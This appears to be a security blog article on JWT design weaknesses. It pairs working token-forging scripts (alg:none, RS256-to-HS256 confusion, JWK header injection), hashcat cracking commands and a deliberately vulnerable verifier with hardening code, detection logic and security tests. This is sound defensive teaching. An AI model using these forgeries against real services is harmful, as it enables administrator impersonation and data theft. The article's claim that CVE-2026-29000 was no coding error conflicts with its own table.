Cybersecurity

The JWT Vulnerability Hidden Inside the Specification Itself

CVE-2026-29000 scored a perfect CVSS 10.0 — and the flaw wasn't a coding error. It was baked into the JWT specification. A deep technical breakdown of algorithm confusion, alg:none, JWK injection, and how to harden every endpoint.

Meritshot14 min read
CybersecurityJWTAuthenticationWeb SecuritySoftware Development
Back to Blog

The library is up to date. The signature verification code is correct. The secret is strong. The implementation follows the documentation exactly. Your senior developer reviewed the PR. Your security scanner found nothing.

And yet, an attacker with nothing more than your server's public key — the key that is, by design, publicly available, intentionally distributed, listed in your JWKS endpoint for the entire internet to read — can forge a token, authenticate as any user including administrators, access any data, and your application accepts it as perfectly valid.

No credentials stolen. No brute force attack that generates logs. No zero-day exploit in the underlying cryptographic primitives. The vulnerability is in a design decision baked into the JWT specification itself — a decision made in the name of flexibility that created an attack surface in every library that correctly implements the standard.

This is not a theoretical concern. CVE-2026-29000 — a CVSS 10.0 critical vulnerability in the widely used Java authentication library pac4j-jwt — was disclosed in early 2026. The flaw was not a coding error in the traditional sense. The library correctly implemented the JWT specification. The specification's design created a condition where complete authentication bypass was possible using nothing more than the server's publicly distributed RSA key.


The History: How a Flexible Specification Became a Security Liability

The JWT specification — RFC 7519, published in May 2015 — was designed with a specific philosophy: be flexible enough to support a wide range of use cases across diverse environments. Three design choices created the vulnerability classes this article addresses:

Choice 1 — The algorithm field belongs to the token, not the server. The alg field sits in the JOSE header — the first segment of the JWT, submitted by the party presenting the token. The specification does not require servers to reject tokens whose alg field differs from the algorithm they were configured to use.

Choice 2 — "none" is a valid algorithm. RFC 7515 explicitly includes "none" as a registered algorithm identifier. It was intended for use cases where integrity protection happens at another layer. The specification does not specify that library implementations should treat "none" as invalid when tokens arrive from external, untrusted sources.

Choice 3 — Keys can be embedded in token headers. The specification defines the jwk header parameter, which allows a token to carry the JSON Web Key used to verify its signature. The specification does not prohibit implementations from using this embedded key for verification even when the token comes from an untrusted source.

Each choice made the specification more flexible. Each created an exploitable condition.


The Structural Flaw: Why the alg Field Is the Root of Multiple Attack Classes

When a server receives a JWT for verification, it must:

  1. Read the alg field from the token header to know which algorithm to use
  2. Use that algorithm to verify the token's signature
  3. Accept the token if the signature is valid

Step 1 requires reading from the token before any verification has occurred. The server is making a security-critical decision — which verification algorithm to use — based on data that has not yet been verified. This is the structural flaw.

In secure cryptographic protocols, the verification parameters are established out-of-band — configured by the relying party independently of the data being verified. JWT's design inverted this. The token — the data to be verified — tells the server how to verify it. This inversion is not a bug in any specific library. It is a consequence of the specification's flexibility goal.


Attack 1 — Algorithm Confusion (RS256 to HS256)

RS256 is RSA with SHA-256 — an asymmetric algorithm. HS256 is HMAC with SHA-256 — a symmetric algorithm. The confusion attack exploits a subtle property: HMAC does not restrict the format or source of its key. It accepts any byte sequence as a key. An RSA public key is a byte sequence — and can be used as an HMAC key.

The attack, step by step:

// Step 1: Attacker fetches RSA public key from /.well-known/jwks.json
// Step 2: Constructs header claiming HS256
// {"alg": "HS256", "typ": "JWT"}

// Step 3: Constructs payload with elevated claims
// {"sub": "user_admin_001", "role": "administrator", "exp": 9999999999}

// Step 4: Signs with HMAC-SHA256 using the RSA public key as the HMAC key
// HMAC-SHA256(key = RSA_public_key_bytes, message = base64url(header) + "." + base64url(payload))

// Step 5: Vulnerable server reads alg from UNVERIFIED token header
function verifyJWT(token, rsaPublicKey) {
  const [headerB64, payloadB64, signature] = token.split('.');
  const header = JSON.parse(atob(headerB64));

  // Server reads algorithm from attacker-controlled token header
  const algorithm = header.alg; // Attacker set this to "HS256"

  if (algorithm === 'HS256') {
    // Server uses its RSA public key as the HMAC verification key
    // This is exactly what the attacker computed the signature with
    const expectedSignature = hmacSha256(rsaPublicKey, headerB64 + '.' + payloadB64);
    return expectedSignature === signature; // Returns TRUE — attack succeeds
  }
}

The attack requires the vulnerable server to: (1) accept both HS256 and RS256, (2) use the RSA public key as the HS256 verification key, and (3) read the algorithm from the token header rather than server-side configuration.

Detection in the absence of prevention: Monitor for tokens where the alg header value differs from your configured signing algorithm. Any HS256 token arriving at an RS256-configured server is anomalous.


Attack 2 — The alg:none Attack

RFC 7515 section 4.1.1 states: "The value 'none' in the Algorithm Header Parameter represents that no digital signature or MAC operation is being performed." Some library implementations treated this as globally applicable. When a token arrived with alg: none from any source — including the public internet — they applied the specification literally: no algorithm, no verification required.

import json
import base64

def create_none_algorithm_token(payload_claims):
    header = {"alg": "none", "typ": "JWT"}

    header_encoded = base64.urlsafe_b64encode(
        json.dumps(header, separators=(',', ':')).encode()
    ).rstrip(b'=').decode()

    payload_encoded = base64.urlsafe_b64encode(
        json.dumps(payload_claims, separators=(',', ':')).encode()
    ).rstrip(b'=').decode()

    # Empty signature — no cryptographic operation
    return f"{header_encoded}.{payload_encoded}."

admin_token = create_none_algorithm_token({
    "sub": "admin_user_001",
    "role": "administrator",
    "permissions": ["read", "write", "delete", "admin"],
    "exp": 9999999999,
    "iss": "https://auth.yourapp.com"
})
# Takes ~200ms to construct. No cryptographic knowledge required.

The case variants that bypass naive defences:

// Incomplete defence — case-sensitive check
if (header.alg === 'none') {
  throw new Error('Unsigned tokens not accepted');
}
// Bypass: "None", "NONE", "nOnE" — these pass the check

// Complete defence — whitelist approach
const ALLOWED_ALGORITHMS = new Set(['RS256']);
if (!ALLOWED_ALGORITHMS.has(header.alg)) {
  throw new Error(`Algorithm ${header.alg} is not permitted`);
}

Security testing checklist for none algorithm:

for ALG in "none" "None" "NONE" "nOnE" "NoNe" "nONE"; do
  HEADER=$(echo -n "{\"alg\":\"$ALG\",\"typ\":\"JWT\"}" | base64url_encode)
  PAYLOAD=$(echo -n '{"sub":"admin","role":"administrator","exp":9999999999}' | base64url_encode)
  TOKEN="${HEADER}.${PAYLOAD}."

  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "https://your-api.com/protected/endpoint")

  if [ "$STATUS" = "200" ]; then
    echo "VULNERABLE: alg=$ALG accepted (HTTP 200)"
  else
    echo "SAFE: alg=$ALG rejected (HTTP $STATUS)"
  fi
done

Attack 3 — JWK Header Injection

The jwk header parameter (RFC 7515 section 4.1.3) allows a token to carry the public key used to verify its signature. The intended use case was federated identity. Some implementations skipped trust anchor validation and accepted the embedded key directly.

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import base64, json

# Step 1: Attacker generates their own RSA key pair
attacker_private_key = rsa.generate_private_key(
    public_exponent=65537, key_size=2048, backend=default_backend()
)
attacker_public_key = attacker_private_key.public_key()

def int_to_base64url(n):
    n_bytes = n.to_bytes((n.bit_length() + 7) // 8, 'big')
    return base64.urlsafe_b64encode(n_bytes).rstrip(b'=').decode()

public_numbers = attacker_public_key.public_numbers()
attacker_jwk = {
    "kty": "RSA", "use": "sig", "alg": "RS256",
    "n": int_to_base64url(public_numbers.n),
    "e": int_to_base64url(public_numbers.e)
}

# Step 2: Embed attacker's public key in the token header
header = {"alg": "RS256", "typ": "JWT", "jwk": attacker_jwk}
payload = {"sub": "administrator", "role": "admin", "exp": 9999999999}

# Step 3: Sign with attacker's private key
# Vulnerable server reads jwk from header, uses attacker's public key,
# verifies signature — which is valid because attacker signed it.
# Token accepted as administrator.

The ALBeast Vulnerability (2024): AWS Application Load Balancer did not properly validate the jwk header parameter. Researchers found over 15,000 applications using ALB's built-in authentication were potentially affected.

Detecting JWK injection:

function safeJWTVerify(token, trustedPublicKey) {
  const headerB64 = token.split('.')[0];
  const header = JSON.parse(Buffer.from(headerB64, 'base64url').toString('utf-8'));

  if (header.jwk) {
    securityLogger.alert({
      type: 'JWK_HEADER_INJECTION_ATTEMPT',
      severity: 'HIGH',
      tokenPreview: token.slice(0, 50),
    });
    throw new SecurityError('Tokens with embedded JWK headers are not accepted');
  }

  if (header.jku || header.x5u) {
    securityLogger.alert({ type: 'KEY_URL_INJECTION_ATTEMPT', severity: 'HIGH' });
    throw new SecurityError('Tokens with key URL headers are not accepted');
  }

  return jwt.verify(token, trustedPublicKey, { algorithms: ['RS256'] });
}

Attack 4 — Weak Secret Brute-Forcing

HS256 tokens are signed and verified using a single shared secret. A weak secret can be brute-forced offline — the attacker captures a single valid token and runs a cracking tool with no server interaction, no rate limiting, and no possibility of detection.

# Mode 16500 is JWT/JWS
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt

# Targeted wordlist based on application reconnaissance
hashcat -a 0 -m 16500 token.txt targeted_wordlist.txt -r rules/best64.rule

# Incremental brute force for short secrets (< 8 characters)
hashcat -a 3 -m 16500 token.txt "?l?l?l?l?l?l?l?l"

A 2023 analysis of public GitHub repositories found over 34,000 repositories containing JWT secrets matching common patterns, including "secret" and "your-256-bit-secret" — directly copied from jwt.io documentation.

// Generate a cryptographically secure secret
// node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"

function validateJwtSecretAtStartup(secret) {
  if (!secret) throw new Error('JWT_SECRET environment variable is not set');
  if (secret.length < 64) throw new Error(`JWT_SECRET too short: ${secret.length} chars, minimum 64`);

  const knownWeakSecrets = ['your-256-bit-secret', 'supersecretkey', 'development', 'secret'];
  for (const weak of knownWeakSecrets) {
    if (secret.toLowerCase().includes(weak)) {
      throw new Error('JWT_SECRET appears to be a documentation placeholder. Use: node -e "console.log(require(\'crypto\').randomBytes(32).toString(\'hex\'))"');
    }
  }

  const uniqueChars = new Set(secret).size;
  if (uniqueChars < 20) throw new Error(`JWT_SECRET has insufficient entropy: ${uniqueChars} unique characters.`);
}

The architectural fix: Switch to RS256. With RS256, there is no shared secret that can be brute-forced. The private key signs tokens and never leaves the signing service; the public key verifies tokens and can be distributed freely.


Attack 5 — Claim Tampering and Privilege Escalation

Once token forgery is possible, attackers modify specific claims for maximum impact:

ClaimAttack ModificationReal-World Impact
subReplace with target user IDAccess all data belonging to target; cross-tenant access
role / permissionsEscalate to adminFull system access while maintaining own identity
expSet to year 2286Forged token valid indefinitely even after patching
issImpersonate trusted SSO providerBypass enterprise customer authentication
audInclude additional servicesReplay token across multiple services

Anomaly detection for forged tokens:

async function verifyWithAnomalyDetection(token, publicKey) {
  const { payload } = await jwtVerify(token, publicKey, { algorithms: ['RS256'] });

  // JTI check is the most reliable forgery detection mechanism
  if (payload.jti) {
    const issuanceRecord = await db.tokens.findOne({
      where: { jti: payload.jti, userId: payload.sub }
    });
    if (!issuanceRecord) {
      await logSecurityEvent({
        type: 'UNRECOGNISED_TOKEN_JTI',
        severity: 'CRITICAL',
        jti: payload.jti,
        sub: payload.sub,
        note: 'Token passed verification but JTI not in issuance log — possible forgery',
      });
      throw new SecurityError('Token not recognised — please re-authenticate');
    }
  }

  // Check for anomalous expiry
  const maxExpirySeconds = 3600;
  const tokenLifetime = payload.exp - payload.iat;
  if (tokenLifetime > maxExpirySeconds * 1.1) {
    await logSecurityEvent({ type: 'ANOMALOUS_TOKEN_EXPIRY', severity: 'HIGH', tokenLifetimeSeconds: tokenLifetime });
  }

  return payload;
}

The 2025–2026 CVE Record: Five Vulnerabilities, One Root Cause

CVELibraryCVSSAttack MethodRoot Cause
CVE-2026-29000pac4j-jwt10.0JWE inner payload PlainJWT bypassNull check skips signature verification
CVE-2025-30144fast-jwt8.1Array issuer claim bypassRFC 7519 array issuer ambiguity
CVE-2025-27144Go JOSE7.5Malformed token memory exhaustionNo token size limits in specification
CVE-2025-4692ABUP Cloud9.1Audience validation bypassMulti-audience handling ambiguity
CVE-2025-27371Multiple OAuth28.8Cross-service token replayAudience semantics differ across implementations

Every one of these CVEs traces back to specification ambiguity, specification optionality, or specification-permitted behaviour — not traditional coding errors.


The Complete Hardening Checklist

1. Algorithm whitelisting — the foundational defence

// Node.js (jose — recommended)
const { payload } = await jwtVerify(token, publicKey, {
  algorithms: ['RS256'],
});

// Python (PyJWT)
decoded = jwt.decode(token, key, algorithms=["RS256"])

// Go (golang-jwt)
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
  if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
    return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
  }
  return publicKey, nil
})

2. Explicit claim validation

const { payload } = await jwtVerify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: process.env.JWT_ISSUER,
  audience: process.env.JWT_AUDIENCE,
  clockTolerance: 30,
  maxTokenAge: '1 hour',
});

3. Token revocation deny list

class TokenRevoker {
  async revoke(jti, expiresAt) {
    const ttl = expiresAt - Math.floor(Date.now() / 1000);
    if (ttl > 0) await redis.setEx(`revoked_jti:${jti}`, ttl, '1');
  }

  async revokeAll(userId) {
    const revokedUntil = Math.floor(Date.now() / 1000);
    await redis.set(`user_tokens_revoked_until:${userId}`, revokedUntil.toString());
    await redis.expire(`user_tokens_revoked_until:${userId}`, 3700);
  }

  async isRevoked(jti, userId, iat) {
    if (await redis.get(`revoked_jti:${jti}`)) return true;
    const revokedUntil = await redis.get(`user_tokens_revoked_until:${userId}`);
    if (revokedUntil && iat <= parseInt(revokedUntil)) return true;
    return false;
  }
}

4. JWK header rejection

function validateTokenHeaders(token) {
  const headerB64 = token.split('.')[0];
  const header = JSON.parse(Buffer.from(headerB64, 'base64url').toString('utf-8'));

  const FORBIDDEN_HEADER_PARAMS = ['jwk', 'jku', 'x5c', 'x5u'];
  for (const param of FORBIDDEN_HEADER_PARAMS) {
    if (header[param] !== undefined) {
      logSecurityEvent({ type: 'KEY_INJECTION_ATTEMPT', severity: 'CRITICAL', headerParam: param });
      throw new SecurityError(`Token header parameter '${param}' is not permitted`);
    }
  }

  const PERMITTED_ALGORITHMS = ['RS256'];
  if (!PERMITTED_ALGORITHMS.includes(header.alg)) {
    logSecurityEvent({ type: 'ALGORITHM_NOT_PERMITTED', severity: 'HIGH', algorithm: header.alg });
    throw new SecurityError(`Algorithm '${header.alg}' is not permitted`);
  }

  return header;
}

5. Dependency CVE auditing (scheduled, not just on commit)

# Node.js
npm audit --audit-level moderate 2>&1 | grep -E "(jwt|jose|auth)"

# Python
pip-audit --vulnerability-service pypi 2>&1 | grep -E "(pyjwt|python-jose)"

# Go
govulncheck ./... 2>&1 | grep -i "jwt\|jose\|auth"

# Version pins for known CVEs
# pac4j-jwt: >= 4.5.9 (4.x), >= 5.7.9 (5.x), >= 6.3.3 (6.x)
# fast-jwt: >= 3.3.0
# Go jose: >= 4.0.1
# PyJWT: >= 2.4.0
# jsonwebtoken (Node): >= 9.0.0

6. Pre-deployment security test suite

class TestJWTSecurity:

  def test_algorithm_confusion_hs256_with_public_key(self):
    public_key_bytes = fetch_public_key_bytes()
    payload = decode_token_payload(VALID_TOKEN)
    payload['role'] = 'administrator'
    forged = create_hs256_token(payload, public_key_bytes)
    response = requests.get(f"{BASE_URL}/api/admin", headers={"Authorization": f"Bearer {forged}"})
    assert response.status_code == 401, "FAIL: Algorithm confusion attack succeeded"

  @pytest.mark.parametrize("alg_variant", ["none", "None", "NONE", "nOnE", "NoNe"])
  def test_none_algorithm_variants(self, alg_variant):
    header = {"alg": alg_variant, "typ": "JWT"}
    payload = {"sub": "admin", "role": "administrator", "exp": 9999999999}
    header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
    payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    forged = f"{header_b64}.{payload_b64}."
    response = requests.get(f"{BASE_URL}/api/protected", headers={"Authorization": f"Bearer {forged}"})
    assert response.status_code == 401, f"FAIL: alg={alg_variant} token was accepted"

  def test_jwk_header_injection(self):
    attacker_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())
    forged = create_jwk_injection_token(payload={"sub": "admin", "role": "administrator"}, attacker_key=attacker_key)
    response = requests.get(f"{BASE_URL}/api/protected", headers={"Authorization": f"Bearer {forged}"})
    assert response.status_code == 401, "FAIL: JWK header injection attack succeeded"

JWT vulnerabilities are the entry point into a much deeper domain of authentication and authorisation security. Understanding them surfaces immediate next-tier questions: How does JWT security interact with OAuth 2.0 and OpenID Connect at the protocol level? What does PKCE prevent, and when is it insufficient? How do you build a complete identity infrastructure threat model? When a JWT vulnerability is discovered in production, what does incident response look like hour by hour?

At Meritshot's Cyber Security program, JWT security is taught as part of an integrated authentication and authorisation curriculum spanning the complete JOSE specification family — JWS, JWE, JWK, JWA. You build and attack JWT implementations in a controlled lab environment against realistic identity provider configurations, conduct penetration testing exercises using Burp Suite JWT Editor and jwt_tool, and develop incident response playbooks for authentication compromise scenarios including the regulatory notification requirements under India's DPDPA 2023 and GDPR.

All of this is delivered with mentorship from practitioners who have found these vulnerabilities in production security assessments — not researchers who discovered them in academic settings, but engineers who found them in live enterprise banking systems, healthcare platforms, and SaaS applications.

If this article made you want to immediately audit every JWT verification call in your application and check the algorithms parameter — that is exactly the right response.